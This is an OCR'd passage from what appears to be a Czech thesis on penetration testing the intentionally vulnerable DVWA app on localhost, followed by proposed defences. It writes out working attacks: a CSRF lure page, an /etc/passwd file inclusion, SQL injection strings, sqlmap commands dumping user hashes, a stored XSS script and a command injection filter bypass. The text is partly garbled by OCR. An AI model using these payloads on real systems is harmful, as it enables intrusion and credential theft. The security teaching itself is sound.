POST parameter 'ip' is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > ¥
do-Terminal Shell (type '?' for available options)

Obrazek 13: Commix vystup, Zdroj: Viastni

4.3.1.3 Provedeni CSRF dle testovaciho scénafe Cislo 3

V pfipadé  nulového  zabezpeCeni lze z  odkazu  stranky  ziskat  url
,Lhttp://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Ch
ange=Change#"“, ktery lze vyuzit na zménu hesla prostym poslanim uzivateli a po jeho
kliknuti. Pro vétsi skryti 1ze vytvofit jednoduchou stranku s tlacitkem viz obrazek 14. Jedna
se pouze o demonstraci a k docileni uspéchu by byla zapotiebi propracované)si stranka.

Zalezi tedy na usili Gtoc¢nika, jakou si da praci s jejim vytvorenim.
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http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Ch

1 <!DOCTYPE html>

2 <html lang="en">

3 <head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>

7 </head>

8 <body>

9 <h3>Zmena hesla</h3>

10 <a href="http://127.0.0.1/dvwa/vulnerabilities/csrf/?
password_new=1235password_conf=123&Change=Change#">Pro zmenu kliknete sem</a>

11 </body>

12 </html>

Obrazek 14: HITML kod k vytvoreni falesné stranky, Zdroj: Viastni
Dalsi moznosti je vyuzit Burp Suite ktery zachyti zménu hesla a maze dojit k jejimu

zméneéni, jak je vidét na obrazku 15.

4 Burp Suite Community Edition v2023.9.3 - Temporary Project

Burp Project Intruder Repeater View Help

Dashboard Target | Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions {0} Settings
Learn
HTTP history WebSockets history {} Proxy settings
/7 Request to http://127.0.0.1:80
Forward Drop Intercept is on Action Open browser Comment this iter W HTTPH @
Raw  Hex = " = | Inspector o = - & x

1 GET fdvwa/vulnerabilities/csrf/?password_new=123&password_conf123&Change=Change HTTR/1.1
2 Host: 127.0.0.1

X Request attributes 2 v
3 User-Agent: Mozilla/5.0 (X11; Linux x86 84; rv:l09.0) Gecko/20100101 Firefox/115.0
) : - : - : o . e
;lAccept. textjhtr}ﬂ,apphcai-:uin/xhtmhxml,apphcatwn[xml,q 0.9, 1mage/avif, image /webp,*/%;q=0.8 Request query parameters 3 o
S Accept-Language: en-US,en;q=0.5
& Accept-Encoding: gzip, deflate
7 Connection: close Request body parameters 0 h
3 Referer: http://127.0.0.1/dvwa/vulnerabilities/csrf/
S Cockie: security=low; PHPSESSID=1921b4kppbSoul7ksikmg7ehds Request cookies 2 v
10 Upgrade-Insecure-Requests: 1
11 Sec-Fetch-Dest: document Request headers 13 v

12 Sec-Fetch-Mode: navigate

13 Sec-Fetch-Site: same-origin
14 Sec-Fetch-User: 71

15

16

OIIGIENRETE 0 highlights

Obrazek 15: Burp Suite — zachyceni hesla, Zdroj: Viasmi
Kde program zachyti zménu hesla a je mozné zménit password_new a password_conf z
puvodné zadavaného hesla password na 123 a po ozkouseni je vidét na obrazku 16, ze zména

funguje.
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http://127.0.0.VdvWvulnerabilities/csrf7
http://127.0.Q.1/dvwa/vulnerabilities/csrf/

Valid password for 'admin’

Username

Password

| Login |

Obrazek 16: Potvzeni hesla, Zdroj: Viasmi

4.3.1.4 Provedeni File Inclusion dle testovaciho scénare ¢islo 4

Po proklikavani dostupnych souborti je mozné si v§imnout ve vyhledavacim poli zméné url
adresy, takze pfi raznych pokusech se jde dostat naptiklad do souboru 4, ktery na strance ani
neni zobrazen. Po prizkumu zdrojového kodu lze odhalit skryté fadky jako napriklad
doplnénim za page ../../hackable/flags/fi.php

Ze zdrojového kodu je také mozné se doCist oslozce passwd apo vlozeni
127.0.0.1/dvwa/vulnerabilities/fi/?page=/etc/passwd, ze které 1ze ziskat pfihlaSovaci udaje a

hesla, jak je vidét na obrazku 17.

Kali Linux @ Kali Tools i Docs Cali { Kali g loit-DB Google Hacking DB

root:x:0:0:rootJroot:/usrbin/zsh daemon:x:1:1:daemon:/usr/sbin:

fusrisbin/nologin man:x:6:12:man:/var/cache/man:/usrisbin/nologin Ip:x:7

uucpax: 10:10:uucpivarispoolfuucp /usrishin/nologin proxy:x:13:13:pi bi

LList Manager:/ivar/list:/usr/sbin/nologin irc:x:39:39:ircd:/runfircd:/u: n/nologin _apt:x:42:65534::/nonexistent:/usr/shin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-

Inetwork:x:998:998:systemd Network Management.//usr/sbin/nologin systemd-timesync.x:997:997:systemd Time Synchronization:/fusr/sbin/nologin messagebus:x:100:107::/nonexistent:/usr/shin/nologin tss:x:101:109.TPM

[sshd:x:105:65534:/run/sshd:/usr/sbin‘nologin dnsmasq:x:106:65534:dnsmasq,,,.var/li/misc:iusrisbin/nologil i:%:107:112:Avahi mDNS daemon, ../run/avahi-daemon:/ust/sbin/nologin speech-
jdispatcher:x:108:29:Speech Dispatcher,,, J/runispeech-dispatcher/binfalse pulse:s:109:114:PulseAudio daemon,,,/run/pulse:/us/sbin/nologin lightdm:x: 110:116:Light Display Manager:ivar/lib/ightdm:bin/false
[saned:x:111:118:/varflib/saned:/ust/shin/nologin polkitd:x:996:996:polkit/nonexistent:fusrisbin/nologin rtkit:x:112:119:RealtimeKit,,,proc:fusrfsbin/nologin colord::113:120:colord colour management daemon,,, varflib/colord:
fusr/shin‘nalogin nm-openvp! 121:NetworkManager Open'VP arflib/openvpn/chroot:fusr/sbin/nologin nm-openconnect:x:115:122:NetworkManager OpenConnect plugin,.../variib/NetworkManager:fusr/sbin/nologin
Imysql:x:116:124:MySQL Server,,,//nonexistent./binffalse stunneld:x: 995:stunnel service system account:/var/run/stunneld:fusr/sbin/nols _rpeix:117:65534:/runfrpebind fusrisbin/nologin geoclue:x:118:126::var
lib/geoclue /usrishin/nologin Debian-snmp:x:119:127: Jvar/lib/snmp/binffalse sslh:x:120:128::/nonexistent:fusr/sbin/nologin ntpsec:x:121:131://nonexistent/usr/sbin/nologin redsocks:x:122:132: varuniredsocks:fusrishin
nologin rwhod:x:123:65534: /var/spool/irwho:iusrisbin/nologin _gophish:x:124:134::var/lib/gophish:fusrisbin/nologin iodine:x:125:65534 frun/iodine:fusr/sbin/nologin miredo:x:126:65534::var/run/miredo:/usrisbin/nologin
Istatd:x: 127:65534::var/lib/nfs:/usr/sbin/nologin redis:x:128:135:/varflib/redis:fusr/sbin/nologin postgres:x:129:136:PostgreSQL administrator,,, :var/lib/postgresql:/bin/bash mosquitto:x:130:138::var/lib/mosquitto:/usr/sbin
nologin in 1% 131:139: var/libfinetsim:/usr/sbin/nologin _gvm:x:132:141 :ivar/liblopenvas:/usr/sbin/nologin kali:x:1000:1000:,,,-/home/kaliz/usr/binizsh

Instructions
Setup / Reset DB

Brute Force
Command Injection

CSRF

Obrazek 17: Vystup File Inclusion, Zdroj: Viasmi

4.3.1.5 Provedeni SQL injection dle testovaciho scénafre Cislo 5

Po prizkumu zdrojového kodu lze zjistit Ze u atributu id neni zadna validace, to znamena ze
neni nutné psat do pole to co stranka chce, ale to, co chce utocnik. Tedy lze naptiklad udélat

nasledujici 1' OR 1=1 # coz znamena, pokud se uzivatelské id = 1 nebo 1 = 1, Ize ziskat
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jména registrovanych uzivateld, jak je vidét na obrazku 18. Opét se da timto zptisobem ziskat

vSe co je zde ulozené.

Vulnerability: SQL Injection

User ID: [1'OR 1=1 # Submit

ID: 1' OR 1=1 #
First name: admin
Surname: admin

ID: 1' OR 1=1 #
First name: Gordon
Surname: Brown

ID: 1' OR 1=1 #
First name: Hack
Surname: Me

ID: 1' OR 1=1 #
First name: Pablo
Surname: Picasso

ID: 1' OR 1=1 #
First name: Bob
Surname: Smith

Obrézek 18: Vystup aplikace DVIVA po zaddni vstupu, Zdroj: Viastni
Tohle ale neni jediny zptsob. Dals§i moznosti je pouzitim nastroje Sqlmap, ktery je detailnéji
popsan v ¢asti o Sqlmap. Kdy posledni verze Sqlmap nabada uzivatele nebo uto¢nika k tomu
co potiebuje jako je adresa, cookies, PHPHSESSID a dalsi. Nebo je mozné zadat nasledujici
ptikaz do Sqlmap:

sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?1d=1&Submit=Submit#" --

cookie="security=low; PHPSESSID=aq33pfpbp5685830jqulftudob" —dbs

A ten pak projde stranku a nalezne hlavni soubory, jak je vidét na obrazku 19.
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http://127.0.0

kali@ kali: ~
File Actions Edit View Help

1 0] te ing line guerie

t is recommended to perform only basic UNION tests if there is not at least one other (potent
to reduce the number of requests? [Y/n] Y

+1 1 [INFO] testing 'Generic UNION qu (NULL) - 1 to 1@ columns'

11 ] [WARNING] GET parameter 'Submit’ does not seem to be injectable

qlmap identified the following injectiom point(s) with a total of 124 HTTP(

L e W B o L e W

.0.12 AND ti ased blind /
id=1" AND (SELECT 7 FROM (SELEC ueo) AND 'onlsS'='onlS&Submit=Submi

Type: UNION guery
Title: Generic UNION gquery
87671,0x486979 24a576149564a66624d

] [INFO] the back-end DBMS is MySQOL
er operating system: Linux
i hnol A h 4.
(MariaDB fork)

es

or codes detected during run:
times
1 logged to text files under

Obrdzek 19: Sqlmap — vystup po prolomeni, Zdroj: Viastni

Je zfejmé, ze se zde nachazi slozka dvwa a po jejim dal§im prazkumu se lze dostat az
k uzivatelim pomoci:

sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?1d=1&Submit=Submit#" --
cookie="security=low; PHPSESSID=aq33pfpbp5685830jqulftudob" -D dvwa -T users —
columns

jehoz vysledek je vidét na obrazku 20.

o ria
columns for table in database 'd
tive wvalue(s) found and filtering out

D =T

rst_name
login

———— e e — o

Obrazek 20: Sqlmap — nalezeni souborii, Zdroj: Vlastni
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Je znamo, ze jsou zde uzivatelé, které 1ze zobrazit bud’ podle toho co pozaduje sqlmap
nebo pouzitim nasledujiciho prikazu:

sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?1d=1&Submit=Submit#" --
cookie="security=low; PHPSESSID=aq33pfpbp5685830jqulftudob" -D dvwa -T --dump-
all

Po zadani je zobrazen kompletni seznam uzivatell i s jejich jmény, hesly, poslednich

pfihlaSenich a dalsi, zobrazenych na obrazku 21.

failed login

admin y E L ers/ in.j i 765d61d8327 c admin admin

gordonb / L gordc g e9 Brown Gordon
216b | Me Hack

0d107de9fs 4@ca e5c71e9e9b7 | Pi Pablo

5fad

Obrazek 21: Sqlmap — nalezeni hesel, Zdroj: Viastni
4.3.1.6 Provedeni ovéfeni pomoci Javascript dle testovaciho scénate Cislo 6
Ve zdrojovém kodu je vidét ze systém pracuje s tokenem pro ovéfeni slova, ten lze ziskat

napiiklad nastrojem Burp Suite, ktery pres sluzbu Proxy zachyti zadost a zobrazi ji, jak je

vidét na obrazku 22.

Burp Suite Community Edition v2023.9.3 - Temporary Project

Burp Project Intruder Repeater View Help
Dashboard Target d Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions {8} Settings
Learn

HTTP history WebSockets history {5} Proxy settings

£% Request to http://127.0.0.1:80

Forward Drop Action Open browser W | HTTPH @
Raw  Hex anr Inspector nll = - ©® x
1 POST /fdvwa/vulnerabilities/javascript/ HITP/1.1
2 Host: 127.0.8.1 Selection 32 (0x20) ~
3 User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:109.0) Gecko/20100101 Firefox/115.0
4 Accept: text/html,application/xhtml+xml,application/xml;g=0.9,image/avif,image /webp,*/*;q=0.8 Selected text
S Accept-lLanguage: en-US,en;q=0.5
& Accept-Encoding: gzip, deflate 8b479aefbdo0795395b3e7089ae
7 Content-Type: application/x-www-form-urlencoded odcog
g Content-Length: 66
S Origin: http://127.0.0.1
10 Connection: close Decoded from: URL encoding v
11 Referer: http://127.0.0.1/dvwa/vulnerabilities/javascript/
12 Cookie: security=low; PHPSESSID=192LbdkppbSoul7k&jkmg7shas 8b479aefbdS0795395b3e 70892
13 Upgrade-Insecure-Requests: 1 QOdcog
14 Sec-Fetch-Dest: document
15 Sec-Fetch-Mode: navigate Apply changes

16 Sec-Fetch-Site: same-origin
17 Sec-Fetch-User: 71
18 Request attributes 2 v
19 token=Bb479sefbdo0795395h 3e7089ae0dc09kphrase=ChangeMe&send=Submi t

Request query parameters 0 v

Request bedy parameters 3 w

@@ &|[>] [ search 0 highlights

Obrdazek 22: Burp Suite — Nalezeni tokenu, Zdroj: Viastni
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Pole pro vlozeni tokenu je ale skryté, nicméné 1ze odkryt jednoduchou tpravou, jak je vidét
na obrazku 23 smazanim slova ,hidden®. Po prizkumu je vidét, Ze token se neméni se

zmeénou slova success, které stranka pozaduje. Token je tedy pouze pro slovo ,,change me*.

ame="token" wvalue="8b479aefbd98735395b3=7088%aeBdc@9™>

html > body. tainer i [ area > form > inputfitoken

Obrazek 23: Odkryti skrytého pole, Zdroj: Viastni

Pro to slouzi naptiklad stranka CyberChef (https://gchg.github.io/CyberChet/), kde pouzitim

hashovacich operaci ROT13 a MD35, lze vytvotit token pro slovo success, jak je vidét na

.
obrazku 24.
Jownload CyberChef # Last build: 5 menths ago - Version 10 is here! Read about the new features here Options g8 About / Support (@
Operations Recipe BT input + Ozl E =
mdS . success
MD5
Rot: c
MD4
Rotate upper case chars D Rotate numbers
L Tr faw bytes € LF
Favourites * A
13 o i
Output A 5 ] |E| (3
Data format
) s 38581812b435834ebfa4ebcc2c6424d6
Encryption / Encoding
Public Key
Arithmetic / Logic
ol
Networking STEP - Auto Bake

EE @ s T how bytes € LF

Obrazek 24: Vygenerovany token ze stranky CyberChef, Zdroj: (The Cyber Swiss Army Knife, 2016)

Po vlozeni spravného tokenu, ktery pasuje ke slovu , success®, tlacitko pro vlozeni funguje

a je obdrzen napis ,, Well Done".

4.3.1.7 Provedeni XSS dle testovaciho scénar ¢islo 7

Stored XSS v tomto piipad¢ slouzi jako knihovna navstév, kde je vSe ulozeno v databazi
azobrazeno bez jakéhokoli ociSténi. Proto poslanim jednoduchého  skriptu:
<script>alert(" XSS test’)</script>, kdykoli kdo navstivi stranku, obdrzi upozornéni

zobrazené na obrazku 25.
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@ 127.0.01

Obrazek 25: Zprdava pri vstupu, Zdroj: Viastni
V tomto pfipad€ je zobrazena jen zprava, ale pomoci skriptu uto¢nik tak muze ziskat citliva

data uzivatele nebo systému.

4.3.2 Vysledky

V provedeni vSech utoku dle testovacich scénart doslo k ispéSnému prolomeni zabezpeceni.
Proto v nasledujici sekci budou navrzeny zpisoby ochrany, které jsou mozné udélat
v aplikaci DVWA. Dale v prabéhu testu doslo k uplnému zhrouceni celého systému pod
naro¢nosti nékolika bézicich utoka, konktrétné u SQL injection. Pro dalsi testy bude potieba

navysit vykon.
4.3.3 Navrh zpusobu ochrany proti danym tatokum na webové aplikace

Zpusoby ochrany jsou sestavovany dle dostupnych dokumentaci k nastrojam a informaci
dostupnych v aplikaci DVWA. Kazdy navrh se déli na dvé ¢asti: prvni kde je sepsan navrh
v Ciselném poradi podle mist, ktera byla pouzita k napadnuti. Tato Cast neslouzi k zamezeni
prolomeni bezpecnosti ale pouze k jejimu zpomaleni. Druha ¢ast naopak obsahuje vypis

dalSich ochran, které by mohli byt pouzity k uplnému zamezeni provedeni utoku.

4.3.3.1 Navrh ochrany proti brute force utoku

Brute force utoku se da definitivné zamezit, pokud nékdo chce. Zaroven z divodu této prace
jsou zohlednény moznosti aplikace DVWA a ostatni moznosti jsou uvedeny v dalSich
zabezpeceni.

1. Omezeni poctu zadosti na server: Nastaveni omezeni pro pocet zadosti na server za

urcité obdobi. To mize pomoci zabranit rychlym Brute-Force utokiim.
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2. Pouziti anti Cross-site Request Forgery tokenu — Pfi kazdém pokusu o pfihlaseni se

odesila CSRF token. Hodnota tohoto tokenu se méni pii kazdém nacteni stranky.

3. Nahodné rozmezi po vlozeni netispé$ného hesla.

Dal§i moznosti zabezpeceni: zabezpeCeni proti hrubé sile neboli zablokovani IP adres,

dvoufazova autentizace (2FA), logovani a sledovani, monitorovani aktivit uzivatelt, zakaz

pouzivani nebezpecnych hesel, pouziti bezpecnostnich knihoven a frameworkd.

4.3.3.2 Navrh ochrany proti itoku command injection

1.

Filtrovani specialnich znakt — Filtrace specialnich znakt, které by mohly byt
zneuzity pfi command injection, jako jsou:, &, |, atd.

Omezeni systémovych piikazi — Omezeny seznam povolenych systémovych
ptikazu, které Ize spoustet.

Whitelist znaki — Pouziti whitelistu znakl znamena, Zze aplikace povoluje pouze
uréeny seznam bezpe¢nych znaka v uzivatelskych vstupech.

Detekce neautorizovanych piikazi — Detekce a odmitnuti pokust o spusténi

neautorizovanych pfikazi a zaznamenavat je pro sledovani a analyzu.

Mezi dalsi moznosti zabezpeCeni patii: Ovéfeni syntaxe IPv4, kontrola vstupd, pouzivani

parametrizovanych dotazl, implementace firewallu, pravidelna analyza kodu s pravidelné

bezpecnostni testy z riznych perspektiv.

4.3.3.3 Navrh ochrany proti CSRF utoku

1.

Ochrana pted UNION operatorem — je zakazano pouzivani UNION operatoru v SQL
dotazech, coz muze zabranit nékterym typam SQL injection utokd.

Nemoznost ménit typ dotazu - napi. SELECT, INSERT, UPDATE pomoci SQL
injection. To znamena, Ze neni mozné piepinat mezi riznymi druhy SQL dotazu.
Omezeni délky vstupnich dat — omezeni délky vstupnich dat, coz muze snizit riziko
nékterych druhit SQL injection Gtokda.

ANTI-CSRF Token: Aplikace generuje ANTI-CSRF token pokazdé, kdyz

pozadujete stranku pro zmeénu hesla

Mezi dal§i moznosti zabezpeceni patii: Pouziti vice nez jednoho synchronizaéniho tokenu

nebo slozit&sich algoritmi pro tokeny, implementace striktnich politik vyuzivajicich

nékolik vrstev oveérovani pro odolnost vici sofistikovangj§im ttokam.
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4.3.3.4 Navrh ochrany proti File Inclusion utoku

1.

Ochrana proti nulovému bajtu — Zabrarnuje vkladani nulového bajtu do cesty
k souboru, coz by mohlo byt vyuzito k obchézeni nékterych kontrol.

Omezeni na povolené protokoly (napf. http, https) - Miize byt nastaveno omezeni na
povolené protokoly, coz minimalizuje moznosti itocnika manipulovat s protokolem
pfi zahrnuti soubort.

Ochrana pfed URL dekoédovanim — Implementace ochrany proti dekodovani URL
muize zabranit nékterym trikiim, které Utocnici mohou pouzit k obchazeni kontrol.
Ochrana proti znakim specifickym pro operac¢ni systém — Filtrace nebo omezeni

urcitych znak specifickych pro operacni systém (napt. "/", "", ":")

Mezi dal§i moznosti zabezpeCeni patii: Uplné omezeni moznosti zahrnuti soubort

a implementace logovani pro sledovani pokusti o neopravnéné zahrnuti, sledovani a analyza

datovych toku pro identifikaci anomalii v zahrnovani soubort.

4.3.3.5 Navrh ochrany proti SQL injection

1.

2.

Ochrana pfed dvojitym URL kodovanim (Double URL Encoding): aplikace
odolavala pokusim o dvojité URL kodovani, coz mize byt vyuzito k obchéazeni
nékterych filtrt.

Nemoznost meénit typ dotazu: Nemoznost meénit typ dotazu pomoci SQLi. To
znamena, ze nelze prepinat mezi SELECT, INSERT, UPDATE a DELETE dotazy.
Omezeni délky vstupnich dat: Omezeni délky vstupnich dat mize zabranit nékterym
typum SQL injection utoku, které zavisi na dlouhych vstupnich fetézcich.

Filtrovani nekterych klicovych slov: Filtrovani nékterych klicovych slov, ktera jsou

Casto spojena s SQL injection utoky.

Dalsi zabezpeceni: parametrizované dotazy, validace vstupnich dat, princip nejmensich

opravnéni (Principle of Least Privilege), escapovani znakl, whitelist pro vstupni data,

monitorovani alogovani, Web Application Firewall (WAF), aktualizace a patche,

bezpecnostni testovani, ochrana pred time-based utoky.

4.3.3.6 Navrh ochrany proti Javascript utoku

1.
2.

Implementace CSP — Omezi, které zdroje mohou byt spoustény na strance
Ochrana proti znakiim specialnim pro JavaScript — Omezeni nebo filtrace specialnich

znaku, které mohou byt zneuzity k injekci Skodlivého kodu.
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3.

HTTP Only Cookies — Pouzivani atributu "HttpOnly" pro cookies, coz zabrafiuje
JavaScriptu v pfistupu k nim, coz snizuje riziko utokul typu Session Hijacking.
Aktivace bezpecnostnich hlavi¢ek — Pouzivani bezpecnostnich hlavicek, jako je "X-
Content-Type-Options", "X-Frame-Options" a "X-XSS-Protection", muze posilit
bezpecnost webové aplikace proti riznym hrozbam.

Bezpecné piipojky (Safe eval) - Omezeni pouzivani eval() funkce nebo podobnych

konstrukci, které by mohly zpusobit injekci kodu.

Mezi dals$i moznosti zabezpeceni patii: Aktualizace knihoven a zavislosti, CORS (Cross-

Origin Resource Sharing) omezeni, pouzivani "strict mode", zakazani eval(), omezeni
2 2 b

pouzivani Function constructoru, bezpecné spravce hesel, omezeni pouzivani globalnich

proménnych, monitoring bezpecnostnich udalosti, pouzivani bezpe¢ného spojeni (HTTPS),

omezeni piistupu k senzitivnim API, bezpecné prace s cookies, bezpecné pracovni postupy

s tfetimi stranami.

4.3.3.7 Navrh ochrany proti XSS utoku

1.

Ochrana pred vlozenim skriptu do databaze — Je implementovana kontrola a validace
vstupnich dat, kterd jsou ukladana do databaze, aby se minimalizovala moznost
vlozeni nebezpecného skriptu.

Omezeni HTML tagt a atributi — Omezeni na povolené HTML tagy a atributy muaze
zabranit vkladani nebezpecnych skriptti nebo atributt do stranky.

Content Security Policy (CSP) — Implementace CSP miize omezit, které zdroje
mohou byt spoustény na strance, coz snizuje riziko XSS utok.

Aktivace bezpecnostnich hlavi¢ek — Pouzivani bezpecnostnich hlavicek, jako je "X-
Content-Type-Options", "X-Frame-Options" a "X-XSS-Protection", muze posilit
bezpecnost webové aplikace proti riznym hrozbam, vCetné XSS.

Omezeni opravnéni uzivatelskych U¢th — Omezeni opravnéni uzivatelskych ucti

muze minimalizovat moznosti ispéchu utoku a omezit potencialni dopady.

Mezi dalsi moznosti zabezpeCeni patfi: Sanitizace vstupt pied ukladanim do databaze,

escapovani dat pii zobrazen, Content Security Policy (CSP), aktivace bezpecCnostnich

hlavi¢ek, ochrana proti Reflective XSS, logovani a sledovani, automatické odstranéni

Skodlivych dat, bezpecné prace s cookies, omezeni opravnéni uzivatelskych tctu.
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4.4 Aplikace ochran

V této Casti se provadi opétovné utoky na webovou aplikaci DVWA s jiz pouzitym navrhem
zabezpeceni. V jednotlivych castech kazdé zranitelnosti jsou opét provedeny testy, nyni s jiz
vétsim zabezpeceni, které byly navrzeny v casti pfedchozi. Testuji se zde 1 testovaci scénare
zda, 1ze podle nich opét testy provést nebo je potteba jejich uprava k uspésnému dokonceni

testu.

4.4.1 Aplikace ochran webové aplikace

Po aplikaci ochran se opét provadi testy, které by mohli vést k ispéSnému prolomeni pfi
zvednutém zabezpeCeni. Kazd4 zranitelnost, ktera byla objevena v Casti zkoumani
zranitelnosti, je zde opét provéfena pokusu o prolomeni. V aplikaci DVWA se jedna

o moznost zvednuti zabezpeceni z ,,Low* na ,, High*.

4.4.1.1 Brute force utok po aplikaci ochrany

Po aplikovani ochrany nékteré nastroje jako Hydra nedokazi zabezpeceni prolomit, proto je
nutné opét pouzit Burp Suite, ktery dokaze pracovat s CSRF tokeny. Nejdiive je nutné vybrat
heslo a token a pridat je. Zarovei je potieba prepnout utok na utok typu ,,Pitchfork®. Jak je

vidét na obrazku 26.

4 Burp Suite Community Edition ¥v2023.9.3 - Temporary Project

Burp Project Intruder Repeater View Help

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer {5} Settings
Extensions Learn

1 % 2 % 3%+ Qi
Positions Payloads Resource pool Settings

(3) Choose an attack type

Attack type:| Pitchfork v

(3) Payload positions

Configure the pesitions where payloads will be inserted, they can be added into the target as well as the base request.

Add §
Target: | http://127.0.0.1 Update Host header to match target
Clear g
1 GET /dvwa/vulnerabilities/brute/7userr imin&p. d d§&Login=Loginguser_token=
§03f c5c90f 3277b4ab2d2490537dodb1fs HTTP/1.1 Adtos
2 Host: 127.0.0.1
3 User-Agent: Mozilla/S.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image /webp, */*;q=0.8
5 Accept-Language: en-US,en;q=0.5
& Accept-Encoding: gzip, deflate
7 Connection: close
5 Referer: http://127.0.0.1/dvwa/vulnerabilities/brute/
9 Cookie: security=shigh; PHPSESSID=fjmafrlpuS4voddrsoelbuiedd
10 Upgrade-Insecure-Requests: 1
11 Sec-Fetch-Dest: document
12 Sec-Fetch-Mode: navigate
12 Sec-Fetch-Site: same-origin
14 Sec-Fetch-User: 71
15
16

Refresh

@@ & ||>| | Search 2 highlights Clear

2 payload positions Length: 665

Obrazek 26: Burp Suite vybér mist iitokii, Zdroj: viasini
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Po vybéri mist utoku je nutné opét pripravit , paylody“. Pro prvni heslo zistava postup
stejny, tedy opét se budou data sbirat ze souboru john.Ist. Jiny postup pfipada na token,
u kterého je potfeba v nastaveni nalézt misto tokenu na webové aplikaci, jak je vidét na

obrazku 27.

4 Define extract grep item

@ Define the location of the item to be extracted. Selecting the item in the response panel will create a suitable configuration automatically. You can alse
modify the configuration manually to ensure it works effectively.

Define start and end Extract from regex group

Start after expression: \ \

@® start at offset: 3207

End at delimiter:

® End at fixed length: EY)

Exclude HTTP headers Update config based on selection below Refetch response

=form action="#" method="GET"=>

Username:<br /=

<lnput type="text" name="username"=<br />

Password:<hbr /=

<input type="password" AUTOCOMPLETE="off' name="password"=<br /=

<hr /=

<input type="submit" value="Login" name="Login"=

<input type='hidden' name='user_token' value='197ea45406e0fEb08b46f 02d105c7888" /=
</form=

</div=

<h2=More Information=/hz=

<ul=

=] <li==a href="https://owasp.org/www-community/attacks/Brute_force_attack" target="_blank">
https://owasp.org/www-community/attacks/Brute_force_attack</a=</11>

@ & (€|[3] [search 1 highlight

oK Cancel

Obrézek 27: Burp Suite nastaveni tokenu, Zdroj: viastni
Jako posledni je potfeba v zalozce Resource pool nastavit maximalni pocet soubéznych
zadosti na 1 a spustit utok. Po né&jaké dobé Burp Suite objevi heslo ,password” a
identifikator ,,03fc5c90f3277b4ab2d2490537d0db1f“ coz je vidét opét délkou utoku
4772 oproti ostatnim 4734.

4.4.1.2 Utok Command injection po aplikaci ochrany

Po aplikovani ochrany je stale mozné vlozit IP adresu ale po vlozeni stejnych pfikazi
nepiichazi zadna odpovéd’. Po prozkouméani zdrojového kodu je ale nalezena zranitelnost
v blacklistu, kde parametr ‘| obsahuje mezeru za znakem, tudiz znak | bez mezery neni nijak

limitovan, jak je vidét obrazku 28.
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<7php
if( isset( $_POST[ 'Submit' ] ) ) {

$target = trim($_REQUEST[ 'ip' 1);

$subst1tut10ns = array(
& ==

starget = str_replace( array keys( $substitutions ), $substitutions, $target );
Obrazek 28: Uryvek zdrojového kédu, Zdroj: Viasmi
Tudiz po vloZeni naptiklad 127.0.0.1]ipconfig lze piikaz provést. Nebo je tu opét moznost
pouzit nastroj Commix, ktery je zobrazen na obrazku 29, ale zde se drasticky prodlouzi ¢as
proniknuti, nejspise z limiti samotného nastroje.

= Shell No. 1
File Actions Edit View Help

$ commix --wizard

: v3.8-stable

Automated =1 ne 0S Command Injection Exploltatlon Tool
Copyrigh Anastasios Stasinopoulos

ets without prior mutual consent is illegal. It is

Enter full target URL (-u) > http:,
Enter POST data (—data) [Enter for
Enter injection level (--lewel) [1-3, Default: 1]
[ ] [infol Testing connection to the target UR
You have not declared cuukle(s}, while server wants to set its own ('security=impossible;PHPSESSID=vj3uokh
Got a 302 redirect to 'http: /f127 B o. 1{dea/10g1n hp'. Do you want to follow? [Y/n] > Y
[ c to 'http://127.0.0.1/dw
C to the target U
Setting PU:T para for tests.
1n2] Heurlstlc (basic) tests shows that POST parameter 'ip' might not be injectable.
(results-ba sic command injection technigue.
[info ] Tnstlng thn (results-ba namic code evaluation technique ... (&

[
[
[
[
[
[

Obrdzek 29: Pritbéh prolomeni pomoci nastroje Commix, Zdroj: Vlastni
4.4.1.3 Utok CSRF po aplikaci ochran
Po aplikaci ochran uz nelze provést Gtok stejnym zpusobem, nebot’ stranka aplikovala
nékolik ochran. Dulezitym aspektem utoku je ted’ ziskat CSRF token, ktery lze najit ve

zdrojovém kodu nebo pomoci nastroje Burp Suite pies proxy jak je na obrazku 30. Token je

vyznaceny a lze ho najit pod user_token.
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4 Burp Suite Community Edition v2023.9.3 - Temporary Project

Burp Project Intruder Repeater View Help

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions G} Settings
Learn
Intercept HTTP history WebSockets history {G} Proxy settings
' Filter: Hiding €SS, image and general binary content @
# Host Methed URL Params  Edited Status code Length  MIME type Ex
2736 http:127.001 GET Jdvwafdvwalfjsfadd_event_listeners.js 200 875 script is
2733 http/N127.0.01 GET Jdvwafvulnerabilities/csrff?password_new=newpass&password_conf=... v 200 5851 HTML
2732 httpsifcontile.services.mozilla.c... GET ftiles 204 272
2731 httpsiffirefox.settings.services... GET I /buckets/main/collections/ms-language-packs/records/cfr-v1-en-Us 200 940 JSON
2730 httpfM127.001 GET Jdvwafvulnerabilities/view_help.php?id=csrf@&security=high&locale=en v 200 4142 HTML php
2729 httpl127.0.04 GET Jdvwafvulnerabilities/view_help.php?id=csrf&security=high&locale=en v 200 4142 HTML php
2728 httpfh127.001 GET Jdvwafvulnerabilities/csrff 200 5823 HTML
2727 httpsN27.0.01 GET Jdvwalsecurity.php 200 4842 HTML php
2726 httpl127.0.04 POST Jdvwafsecurity.php v 302 344 HTML php
2725 httpfh127.001 GET Jdvwafsecurity.php 200 4856 HTML php
2723 httpfN27.0.01 POST fdvwalvulnerabilities/csrfftest_credentials.php v 200 1378 HTML php
2722  httpsifcontent-signature-2.cdn.. GET Jehains/normandy.content-signature.mozilla.org-2024-01-19-16-42-... v 200 5855 script chai
O== - =
Request Response Inspector w0 @ x
n = 7 E n =
Raw Hex - a Pretty Raw Hex Render Selection 32 (0x20) =
